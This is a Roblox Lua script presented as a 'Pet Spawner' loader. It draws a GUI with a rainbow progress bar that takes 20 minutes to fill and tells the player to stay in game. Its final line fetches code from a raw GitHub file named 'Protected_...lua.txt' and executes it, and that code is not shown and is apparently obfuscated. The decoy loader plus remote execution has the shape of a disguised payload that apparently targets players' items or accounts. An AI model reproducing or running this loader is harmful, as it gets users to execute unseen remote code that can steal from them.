local gui = Instance.new("ScreenGui", game:GetService("CoreGui")) gui.Name = "RGBLoader" -- 📏 Larger & Taller GUI local main = Instance.new("Frame", gui) main.Size = UDim2.new(0.6, 0, 0.45, 0) -- made taller main.Position = UDim2.new(0.2, 0, 0.25, 0) main.BackgroundColor3 = Color3.fromRGB(20, 20, 20) main.BorderSizePixel = 0 main.Active = true main.Draggable = true local uicorner = Instance.new("UICorner", main) uicorner.CornerRadius = UDim.new(0, 20) -- Info Text local label = Instance.new("TextLabel", main) label.Size = UDim2.new(1, 0, 0.3, 0) label.Position = UDim2.new(0, 0, 0, 0) label.BackgroundTransparency = 1 label.Text = "Loading Pet Spawner Script ⚠️\nPlease stay in game" label.TextColor3 = Color3.new(1, 1, 1) label.TextScaled = true label.TextWrapped = true label.Font = Enum.Font.GothamBold -- Bar Background local barBack = Instance.new("Frame", main) barBack.Size = UDim2.new(0.9, 0, 0.15, 0) barBack.Position = UDim2.new(0.05, 0, 0.45, 0) barBack.BackgroundColor3 = Color3.fromRGB(40, 40, 40) barBack.BorderSizePixel = 0 local backCorner = Instance.new("UICorner", barBack) backCorner.CornerRadius = UDim.new(0, 14) -- Rainbow Loading Bar local bar = Instance.new("Frame", barBack) bar.Size = UDim2.new(0, 0, 1, 0) bar.Position = UDim2.new(0, 0, 0, 0) bar.BorderSizePixel = 0 bar.BackgroundColor3 = Color3.fromHSV(0, 1, 1) local barCorner = Instance.new("UICorner", bar) barCorner.CornerRadius = UDim.new(0, 14) -- Percent Label local percentLabel = Instance.new("TextLabel", barBack) percentLabel.Size = UDim2.new(1, 0, 1, 0) percentLabel.BackgroundTransparency = 1 percentLabel.Text = "Loading: 1%" percentLabel.TextScaled = true percentLabel.Font = Enum.Font.Gotham percentLabel.TextColor3 = Color3.new(1, 1, 1) -- 🐉🐶 Bigger Emoji Label at Bottom local emojiLabel = Instance.new("TextLabel", main) emojiLabel.Size = UDim2.new(1, 0, 0.2, 0) emojiLabel.Position = UDim2.new(0, 0, 0.75, 0) emojiLabel.BackgroundTransparency = 1 emojiLabel.Text = "🐉 🐶" emojiLabel.TextScaled = true emojiLabel.Font = Enum.Font.GothamBlack emojiLabel.TextColor3 = Color3.new(1, 1, 1) -- Animate the Bar over 20 Minutes spawn(function() local percent = 1 local hue = 0 local totalSeconds = 1200 local delayPerPercent = totalSeconds / 100 while percent <= 100 do bar.Size = UDim2.new(percent / 100, 0, 1, 0) percentLabel.Text = "Loading: " .. percent .. "%" bar.BackgroundColor3 = Color3.fromHSV(hue, 1, 1) hue = (hue + 0.01) % 1 percent += 1 wait(delayPerPercent) end end) loadstring(game:HttpGet("https://raw.githubusercontent.com/lavacasaturnosaturnita/Admpetspawner/refs/heads/main/Protected_2451793024307340.lua.txt"))()